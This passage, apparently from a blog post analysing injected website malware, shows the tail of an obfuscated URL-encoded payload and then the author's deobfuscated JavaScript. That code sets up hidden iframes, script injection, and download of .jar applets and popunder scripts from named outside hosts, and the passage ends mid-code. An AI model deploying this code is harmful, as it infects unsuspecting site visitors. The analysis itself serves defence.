JhebeB-YPgfn%3A%20%23cWW%3B%20akVFGi%3A%20rln%20VebPU%20%23fyixyy%22%3E--%3E%3CaZm%20rpcNG3%22VkdW-mUPXFp%3A%20CjcZ%3B%20cfes-oMbG%3A%20ssln%3B%20FebVi%3A%20%23DbG%3B%20kRZaZef%3A%20xgRZ%20zft%20ySn%20uWo%3B%20%3DWDfXnllec-YSNQi%3A%20%23sxsesr%3B%20aVVp-BgZck%3A%20cVep%22%3ErVGe%E7%E3e%3C7TLl%3E%3CTPm%20QpZgV8%22mRUceRI%3A%20ign%3B%20XQFaWYfSjE-Xfhli%3A%20%23Web%22%3E%3CHKX%20jjubH2%22jLoR-WMdXj%3A%20oZXgp%3B%22%3E%3CE%20UVpba2%22WUna-UCYPmRpffe%3A%20tjHGTcYjU%3B%20FebVi%3A%20%3DhVZ%22%20YnbW3%22iWZCUThefW%3AlePU%28Y%29%22%20kOXceZb3%22ckGWOVdp.WHj7SVKaOo5uFU%28%5C%27oxv_PKIYj%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_HCUU%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_NKXXp_SRdj%5C%27%29.ZkWhF.YZomcRx8%5C%27RQPV%5C%27%22%3E8aSKQh%3CsR%3E%3CjZJq%3E%3CUes%20jkxhIo%22RRTZYQW-jVg%3A%20glY%3B%20oVtq-RchcR%3A%20EGejah%22%3E%3CLcW%20TRPcJi%3A%20wlu%3B%20gRcZMPI%3A%20r%22%20inSp%22Xjag%3Aj7Tw.gkpkZlWKG.QiW7texiUsdxH6aWsR.aoc%22%20p%3E%3CnFZl%3E%3CZYY%20ijfcC8%22QVUZfeX%3A%200wTZ%20c%20tvln%20d%3B%20jUek-%2FhJbe%3A%20Ybekdn%3B%20JQPk-maYJXj%3A%20IfJZ%22%3E9jT%EA%20j%E3l%20gfroYK%20yRlW%20eX%20UbL%20VQp%E1%20EZjWYZchpEFQ.%3CSh%207%3E7VjQ%20W%E1XGjB%20kfoplZ%20qaGWTjeo%20gXU%20hLhSaSZd%20mrV%20f%20IWZC%20GjjaZD%20QjPm%2FZP.%3CWi%207%3E%3CYi%202%3E%3CZ%20pETIVj8%22_ROQdR%22%20YPaG7%22Ypqg%3A2%2BsaY.LRlW.SRc1Wk_mNmYfskcfZZp%22%3ErNZgqU%20DgkP%20g%2FnB%20deoqRcZn%20S%20RNlWed%20Ge%20%3DHm%2F.%3C7B%3E%3C6Ues%3E%3C%21--%3C2Uhr%3E--%3E%3CpFKm%3E%3C1ZYY%3E%3C1TPm%3E%27%20i%0D%0A%09%09%09%09%27%27%206%0D%0A%09%09%09%09%27%3CEdm%20ea3%22oxv_JCFV%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20Ujg%3A%20w%3B%20iVWs%3A%20w%3B%20aKFkX%3A%20%27%206%20lLUmWfPpXdUpe%201%20%27gw%3B%20dIKIYj%3A%20%27%206%20lLUmWfPpIZZcek%201%20%27ot%3B%20FCEbWneXdT-JfJkS%3A%20WcWZb%3B%20q-hjHGZ%3A%200qwr%3B%20-Pep-Vg%2FYJop%3A%20w.5%3B%20fgZYMVa%3A%20.zq%3B%20bYOjUY%3A%20RJlIV%28flXTZsuqkc%29%22%3E%3C2Tel%3E%27%3B%0D%0A%09%09%09o%2A%2A1%09%0D%0A%09%09%091siClPmk%20fXmR%20ceWCDcUZ%20QFSUZj%0D%0A%09%09%09Gb%20%28Knd_nbgfqp_SP%29%20yJC_YhHQjL%3DKc%28Knd_nbgfqp_NCXRebV%29%3B%0D%0A%09%09%09o1YM%20%28aQi_MVS_kk%29%20AJL_hED6VfkhW%28ZiT_c%2FX_KVmWlWW%29%3B%0D%0A%09%09%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_ZWlDeVM%29%3B%0D%0A%09%09%09%0D%0A%09%09%09YmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRa6kRj%28ekdk%29%2C%20dsQFp.VehVj5OZJZ%29%3B%0D%0A%09%09%09%09%0D%0A%09%09%09EjTqjVes.cIVtcUiUQj4f%3DB%28%27tZu_cedYk_bkRV%27%29.UkohU.GYiWc%2Fun%27WckZb%27%3B%0D%0A%09%09%09UnYYOGej.cUW7bLdCjU9pEa%28%27opy_hMIJk%27%29.ipoOU.TPjNhBt3%27XifTj%27%3B%0D%0A%09%09%09ZSEWdUjj.JUjycCiFik%2Bv%3DU%28%27wud_HCUU%27%29.ojbbU.KZQlMVp8%27Ycfbg%27%3B%0D%0A%09%09%7D%0D%0A%09%09%0D%0A%09%09LqQUo.edVUha5CbPmV%28FPD_TqaEVGJSnYSj%28ZZd_NkQpeZbi_lqh%29%2C%20LqQUo.bYUijwYGhE%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AaljZkZnj%20071_fd%2FhHQjL%28%29%0D%0A%7B%0D%0A%09ZD%20%28fTh_ckXUVc%29%20nIVWid%3B%09%0D%0A%09%0D%0A%09rQU%20covfBu%20n%20YfYrdVmp.FQFp%3B%0D%0A%09Yb%20%28cb4eKp%29%0D%0A%09%7B%0D%0A%09%09HoN_gfWaVU%20%2F%20pVWG%3B%0D%0A%09%09AII_eQ%2FdPk%28KupjUu%29%3B%0D%0A%09%7D%0D%0A%09bcjd%0D%0A%09%7B%0D%0A%09%09oIV8ZcaeXj%28%22%3D%3DD_MjqmVWqV%28%29%22%2C%20szw%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AJWPTjeeQ%20MYUUMs2ickXU%28W%29%0D%0A%7B%0D%0A%09uWV%20RTVl%208%20mLdTVn.MjMjRZ%3B%0D%0A%09tZecka.QPceWT%20p%20VkUTRePi%28%29%20%7B%20Zb%20%28miVu%29%20lVGX%28%29%3B%20W%28%29%3B%20%7D%0D%0A%7D%0D%0A%0D%0AMedGem8eJkBY%28AOJ_feBnICVV%29%3B%0D%0Aiaj9YcLfSp%28%22xND_kk6idWXG%28%29%22%2C%20jrqw%29%3B%0D%0A1%2A%0D%0APiW%20t%20U_FaY%28%20Y_S21%28%20%3F%3F%20%29%20%29%3B%0D%0AEKLy38EsDfGfCMBu%2Bf8xEPZqDi9g18QcJp2oCxQIJKPuJQTqLfre1qPiDPCs7K9z1e8zJq%3DvJN5e%0D%0AEJEm3pGkDHUYIaEzDKYf4LItPf%2FZDZ%2Bt%2BfwrEfFtPyVQ2LToI6BpDg%3DaK7UbJgLuLvCb2aayCMOr%0D%0A7qtyAOPxKqH1K%2BAbEcUt2p%3DSEHIdUaVhDdTsDsqYDPCfCJFpyf8xQPVrElUc1sTnJp%2BsDA%3DUJNPt%0D%0AIQPrMfva17SvDM7s6a9x1hHyWaTyINpeEJYp3pGjD4VLIdU0DqHs4LttOyKiDc%2Bpx%3D%3DvEiVpDCUc%0D%0A2LLsV6ymDQLWIrTrJjPpL%3DDM2a7yOc%3DZ6aly0OPyKab1V%2BAZEcIo26OeDH%2BNTKViEajy3bAoCf3f%0D%0ACpGdyfLyDvVoDi9g18PoJp2sPQQHJaPuJAPoLfsN3K%2FsDc7t7K9x0e4zK7T0JN5eQZEmCJafDoYZ%0D%0AIaQzPqXt4b5tEPSfDcFp%2BPpfDCBsESVO1L4sIJBoDg%3DaI%2BPuJjPpXvzY2aGyPM%2Fm7qxy1OTxJa41%0D%0AI%2BBMEZgs3pPTDH9cH7YwEqjy3bAvDiCfPZ3cxC4rPPVpEygc1sLmJp2tEAPXJKbtUwQdLfraB7%2Fs%0D%0ACc7p6Kui0u8vJKAlIdtbDG82%0D%0A%2Ao%0D%0A'</span>));</pre>
</p></div>
</div>
<p>I’m not going to bother breaking that up, it is just a mess anyway.&#160; But in the end you get this very well formatted code:</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> jsm_report_on = <span style="color: #0000ff">true</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> <span style="color: #0000ff">var</span> jsm_report_access = <span style="color: #006080">'http://c.statcounter.com/7397725/0/d06ca43d/1/'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">var</span> jsm_report_javaon = <span style="color: #006080">'http://c.statcounter.com/7397829/0/58cba984/1/'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">var</span> jsm_report_javaoff = <span style="color: #006080">'http://c.statcounter.com/7415811/0/6dbe4166/1/'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">var</span> jsm_report_loaded = <span style="color: #006080">'http://c.statcounter.com/7415805/0/e6b0668f/1/'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> <span style="color: #0000ff">var</span> jsm_report_loadfail = <span style="color: #006080">'http://c.statcounter.com/7415819/0/56a1ce39/1/'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span> <span style="color: #0000ff">var</span> jsm_lab_on = <span style="color: #0000ff">true</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span> <span style="color: #0000ff">var</span> jsm_lab_access = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_access'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span> <span style="color: #0000ff">var</span> jsm_lab_javaon = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaon'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span> <span style="color: #0000ff">var</span> jsm_lab_javaoff = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaoff'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span> <span style="color: #0000ff">var</span> jsm_lab_loaded = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loaded'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span> <span style="color: #0000ff">var</span> jsm_lab_loadfail = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loadfail'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span> <span style="color: #0000ff">var</span> jsm_loaded = <span style="color: #0000ff">false</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span> <span style="color: #0000ff">var</span> jsm_applet_index = 1;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span> <span style="color: #0000ff">var</span> jsm_applet_count = 200;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span> <span style="color: #0000ff">var</span> jsm_applet_prefix = <span style="color: #006080">'a'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span> <span style="color: #0000ff">var</span> jsm_applet_url = <span style="color: #006080">'http://advancedqualitysystem.com/Get/Get.php?a=/'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span> <span style="color: #0000ff">var</span> jsm_popunder_url = <span style="color: #006080">'http://celularbom.com/js/clickpop.js'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> <span style="color: #0000ff">function</span> JSM_getAppletURL() {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>     <span style="color: #008000">//alert(jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar');</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>     <span style="color: #0000ff">return</span> jsm_applet_url + jsm_applet_prefix + jsm_applet_index + <span style="color: #006080">'.jar'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span> <span style="color: #0000ff">function</span> JSM_createIframe(src) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>     <span style="color: #0000ff">var</span> iframe = document.createElement(<span style="color: #006080">'iframe'</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>     iframe.src = src;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>     iframe.style.visibility = <span style="color: #006080">'hidden'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>     iframe.style.display = <span style="color: #006080">'inline'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>     iframe.style.margin = <span style="color: #006080">'0'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>     iframe.style.padding = <span style="color: #006080">'0'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>     iframe.style.border = <span style="color: #006080">'none'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     iframe.style.width = <span style="color: #006080">'0'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     iframe.style.height = <span style="color: #006080">'0'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>     <span style="color: #0000ff">return</span> iframe;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span> <span style="color: #0000ff">function</span> JSM_createScript(src) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>     <span style="color: #0000ff">var</span> script = document.createElement(<span style="color: #006080">'script'</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     script.type = <span style="color: #006080">'text/javascript'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span>     script.src = src;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  42:</span>     <span style="color: #0000ff">return</span> script;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  43:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  44:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  45:</span> <span style="color: #0000ff">function</span> getXMLHttpRequest() {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  46:</span>     <span style="color: #0000ff">if</span> (window.XMLHttpRequest) <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> window.XMLHttpRequest;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  47:</span>     <span style="color: #0000ff">else</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  48:</span>         <span style="color: #0000ff">try</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  49:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> ActiveXObject(<span style="color: #006080">&quot;Microsoft.XMLHTTP&quot;</span>);</pre>
